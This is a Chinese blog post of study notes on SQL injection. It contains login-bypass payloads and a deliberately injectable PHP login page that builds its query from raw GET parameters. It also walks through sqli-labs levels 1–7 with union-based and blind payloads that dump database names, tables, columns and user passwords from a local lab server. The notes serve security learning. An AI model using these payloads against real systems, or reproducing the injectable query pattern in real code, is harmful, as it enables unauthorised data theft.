SQL注入
2022/1/11 2:05:13
本文主要是介绍SQL注入,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
1.总结第一天第二天的课程内容
1、数据传递采用注释
username='admin'-- and password = 'admin' --的后面有个空格有转码的话加一个空格
2、构造函数
编码网站站长工具 - 站长之家 (chinaz.com)
如果是编码问题可以进行编码之后在传参
username='admin' or '1'='1' and password = 'sscac'
查询
整体思路:(web访问流程)
1、浏览器----本地页面代码(F12)
2、http----(页面的所有数据都要传的)截获数据、修改数据、观察数据、绕过页面判断的界面
3、web容器(iis、apache、Nginx)解析数据—解析文件、数据问题
4、web语言(php、javaScript、python、.net等等)执行代码
5、数据库
注入类漏洞---->数据变代码
1、如何判断漏洞
2、如何构造代码
思路:先判断是否被整型包裹(id=1 and 1=2),整体是对的会返回数据,错的不会返回数据,其次在看是不是单引号(id=1’)报错,进一步测试(id=1‘ and ‘1’='1)对的,(id=1‘ and ‘1’='2)没有数据,断定就是单引号包裹,取数据()
2.自己写一个登陆页面,并能实现对接数据库,判断用户名与密码是否正确。
1.登录页面
<!DOCTYPE html> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>西安加油</title> </head> <h1>西安欢迎你!!!!</h1> <form name="input" action="shujiku.php" method="get"> 用户名:<input type="text" name='user'> 密码:<input type="password" name='passwd'> <input type="submit" value="登录">
2、连接数据库
<!DOCTYPE html> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>西安加油!!</title> </head> <?php $uname=$_GET['user']; $pwd=$_GET['passwd']; if($uname==null or $pwd==null){ echo "用户名或密码不能为空,请重新输入!";} else{ $con = mysqli_connect('127.0.0.1','root','root','test'); if (!$con){ die("连接失败:".mysqli_connect_error()); } echo "数据库连接成功"; $sql="select username , password from users where username='$uname' and password = '$pwd'"; $result=mysqli_query($con,$sql); $row=mysqli_fetch_assoc($result); if($row){ echo"登录成功,欢迎".$uname."!"; } else{ echo"登录失败!<a href='test.php'>重新登录"; } } ?>
3.练习sql-map-master的1-7关。
1、第一关
思路:先判断是否被整型包裹(id=1 and 1=2),整体是对的会返回数据,错的不会返回数据,其次在看是不是单引号(id=1’)报错,进一步测试(id=1‘ and ‘1’='1)对的,(id=1‘ and ‘1’='2)没有数据,断定就是单引号包裹,取数据()
1、找库
show databases;
select DATABASE();//看当前库
select name from users where id=1union all select 1,2;//联合查询输出了就说明两列不知道的话就尝试
select username, password from users order by 1;//order by函数也可以写相对位置
http://192.168.131.129/sqli-labs-master/Less-1/?id=1'--+
http://192.168.131.129/sqli-labs-master/Less-1/?id=1'order by 3--+ 查列
http://192.168.131.129//sqli-labs-master/Less-1/?id=1' union all select 1,2,3--+ 联合查询
http://192.168.131.129//sqli-labs-master/Less-1/?id=-1' union all select 1,2,3--+ 想看自己想看的数据因为没有负一 判断表结构
http://192.168.131.129//sqli-labs-master/Less-1/?id=-1' union all select 1,2,database()--+ 替换1,2,3可以查出库名
select table_name from information_schema.tables where table_schema=‘security’ limit 0,1;
http://192.168.131.129/sqli-labs-master/Less-1/?id=-1' union all select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),database()--+ 爆出表,所有mysql都有一个库叫information_schema就是其他库在这里有记录 改动limit 1,1等来找你想要的表
select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1
http://192.168.131.129/sqli-labs-master/Less-1/?id=-1' union all select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),database()--+ 列名,改动limit 1,1等来找你想要的表
select username,password from users
http://192.168.131.129/sqli-labs-master/Less-1/?id=-1' union all select 1,username,password from users limit 1,1--+ 显示
2、第二关
http://192.168.131.129/sqli-labs-master/Less-2/?id=1 and 1=2 没报错但没有数据
http://192.168.131.129/sqli-labs-master/Less-2/?id=-1 union all select 1,2,3 后面套路同上
3、第三关
http://192.168.131.129/sqli-labs-master/Less-3/?id=1 and 1=2 并不知整型
http://192.168.131.129/sqli-labs-master/Less-3/?id=1' --+ 报错猜测和括号关系,但不是括号,和单引号有关于是注释掉语法错了就不是单引号猜测单引号加括号
http://192.168.131.129/sqli-labs-master/Less-3/?id=1') --+
http://192.168.131.129/sqli-labs-master/Less-3/?id=1') and 1=2 --+ 进一步确认,没有报错所以确定是')
4、第四关
")
5、第五关(不回写)
’
order by 3
select
datbase()
按照流程走
select ascii(SUBSTR(‘abc’,2,1));
写一个判断
A65 - 90 _95
a97 -122
http://192.168.131.129/sqli-labs-master/Less-3/?id=1' and length(database())=8--+ 长是8
http://192.168.131.129/sqli-labs-master/Less-3/?id=1' and ascii(substr(database(),1,1))=115--+
需要写脚本
li-labs-master/Less-3/?id=1’ and length(database())=8–+ 长是8
http://192.168.131.129/sqli-labs-master/Less-3/?id=1’ and ascii(substr(database(),1,1))=115–+
需要写脚本
6、第六关
‘’
7、第七关
这篇关于SQL注入的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-15JavaMailSender是什么,怎么使用?-icode9专业技术文章分享
- 2024-11-15JWT 用户校验学习:从入门到实践
- 2024-11-15Nest学习:新手入门全面指南
- 2024-11-15RestfulAPI学习:新手入门指南
- 2024-11-15Server Component学习:入门教程与实践指南
- 2024-11-15动态路由入门:新手必读指南
- 2024-11-15JWT 用户校验入门:轻松掌握JWT认证基础
- 2024-11-15Nest后端开发入门指南
- 2024-11-15Nest后端开发入门教程
- 2024-11-15RestfulAPI入门:新手快速上手指南